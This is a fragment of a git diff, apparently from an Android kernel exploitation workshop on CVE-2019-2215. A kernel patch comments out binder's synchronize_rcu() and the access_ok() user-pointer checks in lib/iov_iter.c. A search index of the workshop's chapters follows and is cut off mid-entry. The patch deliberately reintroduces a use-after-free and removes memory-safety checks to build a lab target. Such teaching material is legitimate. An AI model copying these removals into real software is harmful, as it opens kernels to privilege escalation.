ep_remove_waitqueue() holds an RCU read - * lock, so we can be sure it's done after calling synchronize_rcu(). - */ -+ /* - if (thread->looper & BINDER_LOOPER_STATE_POLL) - synchronize_rcu(); -+ */ - - if (send_reply) - binder_send_failed_reply(send_reply, BR_DEAD_REPLY); -diff --git a/lib/iov_iter.c b/lib/iov_iter.c -index 7b2fd5f251f2..67af61637f55 100644 ---- a/lib/iov_iter.c -+++ b/lib/iov_iter.c -@@ -132,19 +132,21 @@ - - static int copyout(void __user *to, const void *from, size_t n) - { -- if (access_ok(VERIFY_WRITE, to, n)) { -+ /*if (access_ok(VERIFY_WRITE, to, n)) { - kasan_check_read(from, n); - n = raw_copy_to_user(to, from, n); -- } -+ }*/ -+ n = raw_copy_to_user(to, from, n); - return n; - } - - static int copyin(void *to, const void __user *from, size_t n) - { -- if (access_ok(VERIFY_READ, from, n)) { -+ /*if (access_ok(VERIFY_READ, from, n)) { - kasan_check_write(to, n); - n = raw_copy_from_user(to, from, n); -- } -+ }*/ -+ n = raw_copy_from_user(to, from, n); - return n; - } - diff --git a/search_index.json b/search_index.json new file mode 100644 index 0000000..fad241f --- /dev/null +++ b/search_index.json @@ -0,0 +1 @@ +{"index":{"version":"0.5.12","fields":[{"name":"title","boost":10},{"name":"keywords","boost":15},{"name":"body","boost":1}],"ref":"url","documentStore":{"store":{"./":["(@hacksysteam)","analysi","android","ansari","ashfaq","author","cloudfuzz.","exploit","introduct","kernel","object","platform.","start","stream","vulner","workshop"],"chapters/environment-setup.html":["$(which","(c)","(gdb)","(needed)","(q)","../custom",".repo/manifests/","0x0000000000000001","10.0","12","18.04","182a76ba7053af521e4c0d5fd62134f1e323191d","2.7","2.7.17","2018","2019","21.0.6113669.","2215","3","4.14","40","6c6","77","8","8.2",">",">end",">import",">print","[*]","[libpython2.7.so.1.0]","`gef","`gef'","access","adb","add","allow","analysi","android","around","ashfaq@hacksys:~$","ashfaq@hacksys:~/workshop$","ashfaq@hacksys:~/workshop/android","atom_64","attribut","avd","b","befor","below","branch","branches.","build","bundl","c","cd","chang","clone","clone.","code","command","commands.","commit","compil","complet","config'","configur","copyright","core","cp","creat","current","currently,","custom","cve","d","debugging.","depth=1","dev","dev$","dev/","devic","device.","differ","disk","done","download","drive","eas","emul","engin","enough","environ","exploit","extent","file","fine.","found","foundation,","free","gb","gb+","gdb","gdb)","gef","gef>","git","given","gnu","go","goldfish","good","googl","gpl","gplv3+:","grep","hard","hardwar","hash","here","here:","histori","host","however,","https://android.googlesource.com/kernel/manifest","https://developer.android.com/studio/instal","https://developer.android.com/studio/projects/instal","https://gerrit.googlesource.com/git","https://github.com/cloudfuzz/android","https://source.android.com/setup/build/build","i'm","id","image,","image.","inc.","inform","init","initialized.","instal","installed,","installed.","instead","instruct","intel","it.","item","j`nproc`","kernel","kernel.","know","later","latest","launch","law.","library:","licens","line.","linux","load","loaded,","lt","mac","machin","machine.","make","manifest","manifest/default.xml","micro=17,","minor=7,","missing`","mkdir","more","multi","name.","ndk","necessari","need","note:","now","onc","open","os","osx","path","path.","permit","play","pleas","power","proce","processor","py","python","q","quiet","ram","read","readelf","ready,","redistribut","releaselevel='final',","replac","repo","repo/+/refs/heads/master/readme.md","repositori","repository.","requir","revis","run","serial=0)","setup","shallow","share","so,","softwar","software:","sourc","space","space,","specifi","start","start,","studio","suggest","support.","supported.","sure","sy","sync","synchron","synchronized,","sys.version_info","sys.version_info(major=2,","system","system,","tag","take","termin","tool","tools.","tree","tree.","type","u","ubuntu","us","variable.","verifi","version","version:","virtual","visit","want","warranty,","whole","why.","window","windows,","without","workshop","workshop,","workshop.","workshop/","x86","|","~/android/sdk/emul","~/android/sdk/platform","~/workshop"],"chapters/linux-privilege-escalation.html":["#","#defin","#endif","#if","#ifdef","#ifndef","$","%p\",","&init_groups,","&init_user_ns,","'current'","'init_load_pct'","'ptrace_entry'","'ptraced'","'task_struct'.","'thread_struct'","(!new)","(0","(cow):","(daemon)","(de","(lsm).","(nr_dirti","(nsa)","(original)","(overridable)","(p","(pf_*),","(see","(uint32_t)0","(uint32_t)0x00000000","(uint64_t)0","(uint64_t)0x3fffffffff",")allocation:","*","*/","*active_mm;","*audit_context;","*backing_dev_info;","*bio_list;","*blocked_on;","*cgroups;","*clear_child_tid;","*compat_robust_list;","*cred;","*daemon)","*delays;","*files;","*fs;","*group_info;","*group_leader;","*io_context;","*journal_info;","*kcov;","*kcov_area;","*last_siginfo;","*last_wakee;","*memcg_in_oom;","*mempolicy;","*mm;","*must*","*nameidata;","*new","*new)","*new;","*nsproxy;","*numa_faults;","*numa_group;","*old","*old;","*oom_reaper_list;","*parent;","*perf_event_ctxp[perf_nr_task_contexts];","*pi_blocked_on;","*pi_state_cache;","*pi_top_task;","*plug;","*prepare_kernel_cred(struct","*process_keyring;","*ptracer_cred;","*put_addr;","*rcu_blocked_node;","*real_cred;","*real_parent;","*reclaim_state;","*request_key_auth;","*ret_stack;","*robust_list;","*sched_class;","*sched_task_group;","*security;","*session_keyring;","*set_child_tid;","*sighand;","*signal;","*splice_pipe;","*stack;","*stack_vm_area;","*task","*task_works;","*thread_keyring;","*time_in_state;","*user;","*user_ns;","*utask;","*vfork_done;","*xhlocks;","+",".cap_bset",".cap_effect",".cap_inherit",".cap_permit",".egid",".euid",".fsgid",".fsuid",".gid",".group_info",".magic",".securebit",".sgid",".subscrib",".suid",".uid",".usag",".user",".user_n","/*","0","0;","0x3f;","0x43736564","0x44656144","0xffffffff;","1","48ul","64ul",":0;","=",">0",">=",">alloc_lock:",">cap_ambient.cap[0]",">cap_ambient.cap[1]",">cap_bset.cap[0]",">cap_bset.cap[1]",">cap_effective.cap[0]",">cap_effective.cap[1]",">cap_inheritable.cap[0]",">cap_inheritable.cap[1]",">cap_permitted.cap[0]",">cap_permitted.cap[1]",">cred",">cred,",">egid",">euid",">father",">fsgid",">fsuid",">gid",">idid",">parent",">pid)",">ptrace",">real_cr",">real_cred,",">real_cred;",">real_par",">securebit",">suid",">uid","[...]","[gs]et_task_comm()","__randomize_layout;","__rcu","__user","abi","abov","access","access.","acct_rss_mem1;","acct_timexpd;","acct_vm_mem1;","accumul","achiev","actual","ad","adapt","adb","address","against","agenc","align","alloc","alloc_lock:","alloc_lock;","allow","ambient","android","anyth","application,","arguabl","array","assign","assum","atom","atomic_flags;","atomic_init(2),","atomic_init(4),","atomic_t","attach","attach:","audit_context","author","averag","backing_dev_info","balance_dirty_pages()","base","basic","basis.","begin","behavior","below","below.","below:","better","bio_list","bit","bitmask","bits,","blk_plug","block","blocked;","boot","both","bound","boundari","boundary:","brk_randomized:1;","btrace_seq;","buffer","bundl","cach","caching:","call","callback_head","calls.","canari","cap","cap_ambient;","cap_bset;","cap_effective;","cap_empty_set","cap_empty_set,","cap_full_set","cap_full_set,","cap_inheritable;","cap_permitted;","capabl","catch","cg_list","cg_list;","cgroup","char","check","child,","children","children/s","children:","children;","clone_child_cleartid:","clone_child_settid:","closid;","collect","collection:","comm[task_comm_len];","commit_cr","commit_creds(prepare_kernel_cred(null));","commit_creds(struct","compat_robust_list_head","complet","completes,","comput","config_arch_has_scaled_cputim","config_auditsyscal","config_blk_dev_io_trac","config_block","config_cc_stackprotector","config_cgroup","config_cgroup_sch","config_compat","config_compat_brk","config_cpu_freq_tim","config_cpuset","config_debug_atomic_sleep","config_debug_credenti","config_debug_mutex","config_debug_preempt","config_detect_hung_task","config_fault_inject","config_function_graph_trac","config_futex","config_intel_rdt","config_kasan","config_kcov","config_key","config_latencytop","config_livepatch","config_lockdep","config_lockdep_crossreleas","config_memcg","config_mmu","config_no_hz_ful","config_numa","config_numa_balanc","config_perf_ev","config_posix_tim","config_preempt_notifi","config_preempt_rcu","config_psi","config_rt_mutex","config_sched_walt","config_secur","config_slob","config_smp","config_sysvipc","config_task_delay_acct","config_task_xacct","config_tasks_rcu","config_thread_info_in_task","config_trac","config_trace_irqflag","config_ubsan","config_uprob","config_virt_cpu_accounting_gen","config_vmap_stack","const","contain","context","control","copied.","count","counter","counts.","counts:","coverag","cpu","cpu:","cpu;","cpu_timers[3];","cpumask_t","cpus_allowed;","cpuset_mem_spread_rotor;","cpuset_slab_spread_rotor;","cputime_expires;","cred","cred.","cred_mag","cred_magic,","cred_magic_dead","credenti","credentials.","credentials:","critic","crossreleas","css_set","css_set_lock","css_set_lock:","curr_chain_key;","curr_ret_stack;","current","current;","current_thread_info()),","data","deadlock","decay","decis","default","default_timer_slack_ns;","defin","defined(config_bcache)","defined(config_bcache_module)","delet","deletion?","denial","depend","depth","descriptor","detect","detection:","develop","devic","dictat","dies:","differ","dirti","dirty_paused_when;","disabl","disabled):","disallow","dl;","do.","does.","durat","dure","each","effect","egid;","element","emul","enabl","enabled,","end","enforc","enhanc","enum","error:","escal","etc","euid/fsgid","euid;","even","exclud","execut","execve():","exit","exit(),","exit_code;","exit_signal;","exit_state;","exploit","exploits,","exponenti","fail","fail_nth;","fault","faults_cpu","faults_cpu,","faults_cpu:","faults_cpu_buff","faults_cpu_buffer:","faults_memori","faults_memory,","faults_memory:","faults_memory_buff","faults_memory_buffer,","featur","feature:","field","figur","file","files,","files_struct","filesystem","filter","first","first,","flag","flags;","forc","fork","form","four","fs,","fs_struct","fsgid;","fstack","fsuid;","ftrace_ret_stack","ftrace_timestamp;","function","further","futex_pi_st","gcc","generic_x86_64:/","get_cred(&init_cred);","get_task_cred(daemon);","getenforc","gfp_kernel);","gfp_t","gid","gid;","gid=0(root)","global","global_root_gid","global_root_gid,","global_root_uid","global_root_uid,","go","goal","group","group_info","gtime;","handlers:","handling:","hardirq_context;","hardirq_disable_event;","hardirq_disable_ip;","hardirq_enable_event;","hardirq_enable_ip;","hardirqs_enabled;","hash","haven't","header","held","held_lock","held_locks[max_lock_depth];","here!","here,","here.","hint","hist_id;","hist_id_save[xhlock_ctx_nr];","hist_lock","histori","hlist_head","hold","hook","however,","i.","id","il_prev;","implement","import","in_execve:1;","in_iowait:1;","in_ubsan;","includ","include/linux/cred.h.","include/linux/sched.h.","incurred.","index","info","info:","inform","information:","inherit","init_cr","init_cred.","init_load_pct;","init_task","init_user,","initi","instead","int","interest","io_context","ioac;","irq_events;","it'","item","jit_keyring;","jobctl;","jobctl_*,","journal","kasan_depth;","kcov","kcov_area:","kcov_mod","kcov_mode;","kcov_size;","kdebug(\"prepare_kernel_cred()","kernel","kernel/cred.c","kernel/cred.c.","kernel_cap_t","key","keyr","keyrings,","kgid_t","kmem_cache_alloc(cred_jar,","kuid_t","last","last_sleep_ts;","last_sum_exec_runtime;","last_switch_count;","last_task_numa_placement;","latency_record","latency_record[lt_savecount];","latency_record_count;","less","let'","light","link","linkage.","linux","linux.","list","list.","list_head","live","llist_nod","load","local","lock","lockdep_depth;","lockdep_recursion;","locks:","log","loginuid;","long","look","lsm","made","magic;","maj_flt;","make","make_it_fail;","manag","max_lock_depth","max_state;","max_xhlocks_nr","mean","mean.","mem_cgroup","member","memcg_kmem_skip_account:1;","memcg_may_oom:1;","memcg_nr_pages_over_high;","memcg_oom_gfp_mask;","memcg_oom_order;","memori","mempolici","mempolicy:","mems_allowed,","mems_allowed;","mems_allowed_seq;","migrat","migrate.","min_flt;","mm","mm,","mm_struct","mode","mode.","modul","monoton","multi","mutex","mutex_wait","name,","nameidata","namespaces:","nanoseconds.","nation","natur","need","new","new);","new;","next","nivcsw;","no_cgroup_migration:1;","node","node_stamp;","nodemask_t","non_rcu;","normal","normal_prio;","not.","now","nr_cpus_allowed;","nr_dirtied;","nr_dirtied_pause),","nr_dirtied_pause;","nsecs:","nsproxi","null","null,","null:","null;","numa","numa_entry;","numa_fault","numa_faults_loc","numa_faults_locality[3];","numa_group","numa_migrate_retry;","numa_pages_migrated;","numa_preferred_nid;","numa_scan_period;","numa_scan_period_max;","numa_scan_seq;","numa_work;","number","nvcsw;","object","old","older","on","on.","on_cpu;","on_rq;","op","open","order.","out","over","overrun:","overwrit","owner'","p","page","page_frag","pagefault_disabled;","parent","parent_exec_id;","part","pass","patch_state;","path.","paus","pause:","pdeath_signal;","pending;","per","perf_event_context","perf_event_list;","perf_event_mutex;","period","period:","permiss","permit","personality;","pi","pi_lock","pi_lock;","pi_state_list;","pi_waiters;","pid/pid","pid;","pid_link","pid_t","pids[pidtype_max];","pipe","pipe_inode_info","placement","plist_nod","plugging:","pointer","policy;","poll()","portion","precis","preempt_disable_ip;","preempt_notifier:","preempt_notifiers;","pref_node_fork;","prepar","prepare_kernel_cr","pressur","prev_cputim","prev_cputime;","previou","prio;","prioriti","privat","privileg","process","process,","process.","process:","protect","protected:","protector","provid","psi_flags;","pte","ptrace","ptrace()","ptrace;","ptrace_attach","ptrace_entry;","ptrace_message;","ptraced;","pushable_dl_tasks;","pushable_tasks;","put","random","randomiz","randomized_struct_fields_end","randomized_struct_fields_start","ravg","ravg;","raw_spinlock_t","rb_node","rb_root_cach","rcu","rcu;","rcu_assign_pointer(task","rcu_head","rcu_nod","rcu_node_entry;","rcu_read_lock_nesting;","rcu_read_unlock_special;","rcu_speci","rcu_tasks_holdout;","rcu_tasks_holdout_list;","rcu_tasks_idle_cpu;","rcu_tasks_idx;","rcu_tasks_nvcsw;","read(),","real","real_blocked;","real_start_time;","reason","recipi","reclaim","reclaim_st","record","recursion:","reference:","regions:","rel","remain","remote/loc","replac","reports:","repres","request","request_key","requir","respectively.","restart_block","restart_block;","restor","restore_sigmask:1;","restriction:","ret_stack:","return","rights.","rmid;","robust_list_head","root","root,","root.","round","rq","rss","rss_stat;","rt;","rt_mutex","rt_mutex_wait","rt_priority;","rules.","run","runnable,","sas_ss_flags;","sas_ss_size;","sas_ss_sp;","save","saved_sigmask;","scan","scan.","sched_class","sched_contributes_to_load:1;","sched_dl_ent","sched_ent","sched_info","sched_info;","sched_migrated:1;","sched_psi_wake_requeue:1;","sched_remote_wakeup:1;","sched_reset_on_fork:1;","sched_rt_ent","schedul","schedule:","se;","seccomp","seccomp.","seccomp;","secur","securebits;","securebits_default","securebits_default,","see","seen","select()","self_exec_id;","selinux","selinux_enforc","sent","seqcount_t","seqenc","sequential_io;","sequential_io_avg;","serial","sessionid;","set","set_restore_sigmask()","setup_new_exec()","sgid;","share","shell","short","shown","sibling,","sibling;","sigchld,","sighand_struct","siginfo_t","siglock","signal","signal_struct","sigpend","sigreturn().","sigset_t","size","size_t","skip","slack","so,","softirq_context;","softirq_disable_event;","softirq_disable_ip;","softirq_enable_event;","softirq_enable_ip;","softirqs_enabled;","soup","specif","specific:","spinlock_t","splice():","split","split_rss_count","stack","stack_canary;","stack_refcount;","stall","stamp:","stand","start","start_time;","state","state:","state;","static","static_prio;","stime","stime;","stimescaled;","stopped:","store","strictli","struct","structur","structure.","structures:","subject","subscrib","subscribers;","subscript","suid","suid;","super","supplementari","support","swap","switch","system","sysv_sem","sysv_shm","sysvsem;","sysvshm;","tabl","take","targets.","task","task'","task:","task_cputim","task_delay_info","task_frag;","task_group","task_io_account","task_lock()","task_rss_stat","task_state_change;","task_struct","task_struct.","tasks;","tell","tgid;","thread","thread;","thread_group;","thread_info","thread_info;","thread_node;","thread_struct","threading.","throttl","tick_dep_mask;","tif_restore_sigmask","time","timeout","timer_slack_ns;","timestamp","tlb_ubc;","tlbflush_unmap_batch","to.","total_numa_faults;","trace","trace;","trace_overrun;","trace_recursion;","tracer'","tracers:","tracing:","tracing_graph_pause;","track","tracking:","tri","tsk","tty,","two","u32","u64","u8","uid","uid;","uid=0(root)","under","understand","union","unrunnable,","unserialized,","unsign","up","updat","update:","updates:","uprobe_task","us","usage:","usage;","used:","user","user_n","user_namespac","user_struct","userland","userland:","utim","utime;","utimescaled;","validate_creds(new);","validate_creds(old);","valu","values.","values;","variabl","versions:","vf","virtual","vm","vm_struct","vma","vmacach","vmacache;","void","volatil","vtime","vtime;","vulner","wait4()","waiter","wake_cpu;","wake_entry;","wake_q;","wake_q_nod","wakee_flip_decay_ts;","wakee_flips;","want","warning:","we'r","weight","well.","whether","window","window.","wire","workshop","workshop,","write","write(),","x86,","xhlock_idx;","xhlock_idx_hist[xhlock_ctx_nr];","younger","youngest","{","||","}","};"],"chapters/vulnerability-discovery.html":["&","&&","((thread","(@maddiestone)","(send_reply)","(syzkal","(t)","(tag).","*","*/","*proc,","+","+++","+0100","+4302,18","/*","100644","11:27:07","2.","2017","2018","2019","2019.","2215","27th","4.14","4302,6","5","7a3cee43e935b9d526ad07f20bf005ba7e74d05b","7a3cee43e935b9d526ad07f20bf005ba7e74d05b.",">lock);",">looper",">proc);",">wait",">wait))",">wait,","@@","a/drivers/android/binder.c","a340766b51fe..2ef8bd29e188","access","alreadi","analysi","android","android:","ashfaq@hacksys:~/workshop/android","author:","b/drivers/android/binder.c","back","base","binder","binder:","binder_inner_proc_unlock(thread","binder_looper_state_poll)","binder_poll()","binder_proc","binder_thread_exit,","binder_thread_release(struct","blog","bot)","branch.","bug","bug.","bugs/qyxdguhaf50/elgkcwk9aqaj","by:","cd","chain","chrome","cleanup","clone","clone.","code","coenen","commit","correspond","cve","data","date:","decemb","dev","dev$","dev/goldfish$","devic","diff","discov","discoveri","document","epol","escal","exit","exits,","exits.","explicitli","exploit","exploit.","exploit.html","f5cb779ba16334b45ba8946d6bfa6d9834d1527f","februari","find","free","free.","freed,","fri","full","git","go","goldfish","goldfish/","google'","greg","group","hartman","hence,","here","histori","hold","however,","https://bugs.chromium.org/p/project","https://googleprojectzero.blogspot.com/2019/11/bad","https://groups.google.com/forum/#!msg/syzkal","id","index","initi","inner","int","intellig","interest","interesting,","ipc","jan","know","kroah","lead","lock.","look","maddi","maddie'","make","mani","martijn","month","never","note:","novemb","number.","origin","pass","patch","pixel","poll,","pollfre","pollfree);","pollfree.","pollhup","port","post,","prevent","primit","privileg","process","project","q","reachabl","read","rediscov","rediscoveri","releas","remov","render","report","reproducer.","result","safe","sandbox","see","septemb","sever","shallow","show","sign","slept","spin_lock(&t","static","stone","stori","strongli","structur","structure.","subsequ","subsystem","subsystem.","suggest","sure","syzbot","thread","threat","tri","upstream.","us","veri","vulner","waitlist,","waitqueu","waitqueue_active(&thread","waitqueue_active()","wake_up_poll(&thread","we'r","wild","without","won't","work.","zero","zero/issues/detail?id=1942","{","|","}"],"chapters/vulnerability-trigger.html":["\"","\"git","#1","#defin","#includ","$","$archsubarch","${kernel_dir}/scripts/config","${out_dir}","${out_dir}/.config","&","&&","&event);","((thread","(3958288","(access_ok(verify_read,","(access_ok(verify_write,","(cd","(i440fx","(kasan)","(null)","(send_reply)","(thread","(use","*","*/","*from,","*proc,","*to,","+","+++","+132,21","+4768,12","+4783,10","...\"","./cve","/*","/*if","/data/local/tmp","0","0.000000]","0.084s)","0000000000000000","0000000000000002","00000000000000e7","0000000000000246","0000000000001000","0000000000400190","00000000004002e0","00000000004047d7","0000000000482335","00000000004a4618","0000000047f78877","000000004cfd027e","0000000074961168","0000000097645739","000000009da7c655","000000010012000e","00000246","00007ffe9760fe10","00007ffe9760fee0","002b:00007ffe9760fe18","0033:0x4047d7","04/01/2014","0x4000000000010200(slab|head)","0x40046208ul","0xffffffffffffffff","1","1.11.1","100644","132,19","160","1996),","2019","2215","2215.patch","382.398561]","382.402796]","382.405929]","382.409386]","382.410127]","382.413871]","382.417931]","382.419106]","382.420596]","382.422146]","382.423691]","382.425082]","382.426437]","382.427468]","382.428725]","382.429884]","382.431010]","382.432003]","382.433156]","382.434252]","382.435024]","382.435953]","382.436825]","382.437483]","382.438145]","382.438932]","382.439642]","382.440555]","382.441247]","382.441964]","382.442652]","382.443264]","382.443920]","382.444784]","382.445341]","382.446661]","382.447904]","382.449190]","382.450517]","382.451889]","382.453146]","382.453427]","382.454054]","382.454738]","382.455445]","382.456063]","382.456869]","382.457605]","382.458235]","382.458910]","382.459598]","382.460525]","382.461085]","382.461334]","382.461762]","382.462222]","382.462711]","382.463149]","382.463538]","382.464095]","382.464623]","382.465071]","382.465518]","382.465906]","382.466358]","382.466953]","382.467335]","382.467783]","382.469983]","382.472065]","382.472915]","382.474871]","382.475744]","382.476960]","382.478072]","382.478784]","382.478973]","382.479571]","382.480479]","382.481318]","382.482155]","382.482806]","382.483648]","382.484485]","4","4.14","4.14.150+","4.4","4.9/bin","4000000000010200","44.8","4768,10","4781,8","512","7682","7682:","7b2fd5f251f2..67af61637f55","=","==================================================================",">ffff88804e486580:",">looper",">proc);",">wait))",">wait,","?","?[]","@@","[","[]","[ffff88804e486528,","\\","^","____fput+0x15/0x18","__crc_kasan_check_read","__crc_kasan_check_writ","__crc_kasan_kmalloc","__crc_kasan_restore_multi_shot","__crc_kasan_save_enable_multi_shot","__dump_stack","__fput+0x1f2/0x51d","__kasan_kmalloc+0x133/0x1cc","__kasan_report+0x14f/0x180","__kasan_slab_free+0x18f/0x23f","__raw_spin_lock_irqsav","__user","_raw_spin_lock_irqsave+0x3a/0x5d","a\")","a/drivers/android/binder.c","a/lib/iov_iter.c","abov","access","ad","adb","add","add\"","addit","addr","address","address:","again.","alloc","alreadi","and/or","android","androidkernel","appli","apr","arch/x86/boot/bzimag","arch/x86/entry/common.c:292","arch/x86/entry/entry_64.s:233","arch/x86/kernel/stacktrace.c:59","arch=x86_64","around","ashfaq@hacksys:/tmp$","ashfaq@hacksys:~/workshop$","ashfaq@hacksys:~/workshop/android","ashfaq@hacksys:~/workshop/exploit$","atomic_cmpxchg","avd","b/drivers/android/binder.c","b/lib/iov_iter.c","bad","be","because:","belong","better","binder_free_thread","binder_get_thread+0x166/0x6db","binder_inner_proc_unlock(thread","binder_ioctl+0x48a/0x101c","binder_looper_state_poll)","binder_poll+0x4c/0x1c2","binder_proc","binder_send_failed_reply(send_reply,","binder_thread_dec_tmpref+0x192/0x1d9","binder_thread_exit","binder_thread_exit,","binder_thread_release(struct","binder_thread_release+0x464/0x4bd","bio","boot","br_dead_reply);","branch.","branch=kasan","bug","bug:","buggi","build","build/build.sh","build_config=../build","building:","buildtools_prebuilt_bin=build/build","built","but,","byte","cach","call","cat","cc=clang","cd","chang","check","check_memory_region+0x171/0x17","check_memory_region_inlin","checkout","chunk","clang_prebuilt_bin=prebuilt","clang_triple=x86_64","clean","closed);","code","comm:","command","command,","commandlin","commit","commit,","commit:","committed)","compound_mapcount:","config","config_kasan","config_kasan_inlin","config_kasan_outlin","config_kcov","config_kernel_lz4","config_randomize_bas","config_slub","config_slub_debug","config_slub_debug_on","config_slub_debug_panic_on","config_test_kasan","configs/goldfish.x86_64.kasan","configur","const","copyin(void","copyout(void","corrupt","count:1","cpu:","crash","crash.","cross_compile=${cross_compile}","cross_compile=x86_64","current","custom","cve","d","dangl","data","debug","defconfig=x86_64_ranchu_defconfig","descriptor","detect","dev","dev$","dev.","dev/goldfish$","dev/goldfish/","dev/out/kasan/","dev/out/kasan/dist.","dev/out/kasan/dist/bzimag","device.","diff","directori","directory)","directory.","discard","display","do_exit+0x818/0x2384","do_group_exit+0x12c/0x24b","do_group_exit+0x24b/0x24b","do_raw_spin_lock_flag","do_syscall_64+0x19e/0x225","do_vfs_ioctl+0x608/0x106a","done","drivers/android/binder.c","drivers/android/binder.c:2053","drivers/android/binder.c:4677","drivers/android/binder.c:4705","drivers/android/binder.c:4794","drivers/android/binder.c:4805","drivers/android/binder.c:5062","dump","dump_stack+0x78/0xb","e","eflags:","emul","emulator,","emulator.","entry_syscall_64_after_hwframe+0x3d/0xa2","ep_eventpoll_poll+0x228/0x228","ep_eventpoll_release+0x48/0x54","ep_free+0x8b/0x181","ep_insert","ep_item_pol","ep_remove_wait_queu","ep_remove_waitqueue()","ep_unregister_pollwait+0x160/0x1bd","epfd","epfd;","epoll_create(1000);","epoll_ctl(epfd,","epoll_ctl_add,","epoll_ev","epollin};","event","exit_task_work","exploit","exploit/","extra_cmds=''","f6ddec245187..55e2748a13e4","fb","fc","fd","fd,","few","ffff88804e486480:","ffff88804e486500:","ffff88804e486528","ffff88804e4865c8","ffff88804e486600:","ffff88804e486680:","ffff88804e486728)","ffff88804e4872a8","ffff88805ac01650","ffff88805ac0cf40","ffffea00015fb220","ffffffff806d3a9c","ffffffff806d3b44","ffffffff806d4d62","ffffffff806d55b9","ffffffff806d55c4","ffffffffffffffda","file","file.","files=\"","find","fine","flag","flags:","free","freed","from,","fs/eventpoll.c:1476","fs/eventpoll.c:2014","fs/eventpoll.c:2128","fs/eventpoll.c:612","fs/eventpoll.c:630","fs/eventpoll.c:847","fs/eventpoll.c:879","fs/eventpoll.c:888","fs/eventpoll.c:942","fs/file_table.c:210","fs/file_table.c:244","fs/ioctl.c:46","fs/ioctl.c:692","fs/ioctl.c:701","fs/notify/fsnotify.c:99","fsnotify_unmount_inodes+0x1e8/0x1e8","function","g","g0551a4be2c","generic/atom","generic/qspinlock.h:87","generic_x86_64:/","generic_x86_64:/data/local/tmp","git","gnu","go","goldfish","goldfish/","grab","grep","hardwar","head","here","hold","horn","however,","https://developer.android.com/studio/run/emul","i'm","idea","in[]","include/asm","include/linux/slab.h:488","include/linux/slab.h:661","include/linux/spinlock.h:173","include/linux/spinlock.h:367","include/linux/spinlock_api_smp.h:119","include/linux/task_work.h:22","index","index:0xffff88804e4872a8","indic","initi","inner","insid","instrumented.h:57","int","intuitive.","ioctl(fd,","iovec","isn't","it'","jann","kasan","kasan:","kasan_add_zero_shadow","kasan_alloc_pag","kasan_cache_cr","kasan_cache_shrink","kasan_cache_shutdown","kasan_check_read(from,","kasan_check_write(to,","kasan_check_write+0x14/0x16","kasan_kmalloc+0x9/0xb","kasan_report+0x26/0x49","kasan_slab_free+0xe/0x10","kasan_symbolize.pi","kasan_symbolize.py.","kernel","kernel/exit.c:468","kernel/exit.c:875","kernel/exit.c:975","kernel/exit.c:978","kernel/exit.c:987","kernel/exit.c:989","kernel/locking/spinlock.c:160","kernel/sched/wait.c:50","kernel/task_work.c:113","kernel_dir=goldfish","kerneladdresssanit","kfree+0x193/0x5b3","kmalloc","kmem_cache_alloc_trace+0x1bd/0x26f","kzalloc","launch","let'","lib/dump_stack.c:17","lib/dump_stack.c:53","lib/iov_iter.c","lib/iov_iter.c.","lib/iov_iter.c?","line","linux","linux=~/workshop/android","linux_gcc_cross_compile_prebuilts_bin=prebuilts/gcc/linux","localhost","locat","lock,","lock.","log","log.","log:","look","maddi","main()","make","makefil","mapcount:0","mapping:","master/clang/host/linux","mb/","memori","messag","mm/kasan/common.c:106","mm/kasan/common.c:463","mm/kasan/common.c:471","mm/kasan/common.c:501","mm/kasan/common.c:515","mm/kasan/common.c:626","mm/kasan/common.c:76","mm/kasan/common.c:85","mm/kasan/generic.c:182","mm/kasan/generic.c:191","mm/kasan/report.c:187","mm/kasan/report.c:316","mm/slub.c:1407","mm/slub.c:1458","mm/slub.c:2819","mm/slub.c:3039","mm/slub.c:3976","mm_update_next_owner+0x52f/0x52f","modified.","modified:","more","n","n)","n))","n);","n;","name:","ndk_root=~/android/sdk/ndk/21.0.6113669","need","new","nm","note","note:","noth","notic","now,","null);","o=${out_dir}","o_rdonly);","object","olddefconfig)","open(\"/dev/binder\",","orig_rax:","origin","out/kasan/dist/vmlinux","page","page:","page:ffffea0001392100","patch","patch.","pc","pid:","piix,","poc","pollfree);","pollhup","post_defconfig_cmds=\"check_defconfig","prebuilt.qemu","preempt","previou","print_address_description+0x81/0x25d","proce","process.","produc","project","project.org","provid","push","pushed,","pushing:","python","q","qemu","queued_spin_lock","r08:","r09:","r10:","r11:","r12:","r13:","r14:","r15:","r377782b/bin","raw:","raw_copy_from_user(to,","raw_copy_to_user(to,","rax:","rbp:","rbx:","rcu","rcx:","rdi:","rdx:","read","reason","region","reintroduc","reintroduct","rel","remove_wait_queue+0x27/0x122","repo:q","report","report.txt","return","revert","rip:","rsi:","rsp:","run","safe","sanit","sat","save_stack","save_stack_trace+0x16/0x18","section,","see","set_track","shell","show","size","size_t","skipped.","slab_fre","slab_free_freelist_hook","slab_free_hook","smp","snapshot","sourc","spin_unlock_irq","stack","stage","standard","start","state","static","statu","stone","stop_ship_traceprintk=1","strip=/home/ashfaq/workshop/android","struct","successfulli","support","support.","sure","symbol","synchron","synchronize_rcu().","synchronize_rcu();","sys_epoll_ctl+0x1558/0x24f0","sys_exit_group+0x14/0x14","sys_ioctl+0x75/0xa4","sysc_epoll_ctl","sysc_exit_group+0x17/0x17","sysc_ioctl","system.map","t","t/7682","tainted:","talk","target","task","task_work_run+0x127/0x154","termin","that'","thing","to,","tools/path/linux","trace","trace:","tree","trigger","trigger:","unam","understandable.","updat","update_kasan_config\"","update_kasan_config()","us","veri","virtual","vmlinux","void","vulner","w","waitqueue_active(&thread","waitqueue_active()","wake_up_poll(&thread","we'r","window","window.","wipe","work","workshop.","workshop/android","workshop/build","workshop/exploit/trigger.cpp.","workshop/patch","write","wrote","x86","x86/clang","x86/x86/x86_64","x86_64","zero.","{","{.event","|","}","}*/","~/workshop/android","~/workshop/patch/cv"],"chapters/scripted-privilege-escalation.html":["\"/apex/com.android.runtime@1\"","\"/apex/com.android.tzdata@290000000\"","\"i386","#","#1","$","'target","()","(at","*","...","/home/ashfaq/workshop/android","/product/apex","0x000000000000fff0","0x1d32","0xffff888033521d40","0xffff8880580f1480","0xffffffff82b34028","1","1):","1|generic_x86_64:/","2","2.7","2019","2215","3","34.036876]","34.037889]","34.038743]","34.040108]","34.042497]","34.043586]","34.044542]","34.054885]","34.057660]","34.073716]","4.14","4.14.150+","61","64bit.xml\"","7474","7474,","7474.","77","8","8.2",":",":1234",":1234'","[","[*]","[+]","[...]","^c","`gef","`gef'","achiev","adb","analysi","android","apex","apexd:","apr","argument","ashfaq@hacksys:~/workshop$","attach","audit(1586624810.629:5):","audit(1586624810.659:6):","autom","automation.","avc:","avd","awesome,","background","befor","boot","break","build","built","built,","c","can't","caus","chapter,","cmd:","coding: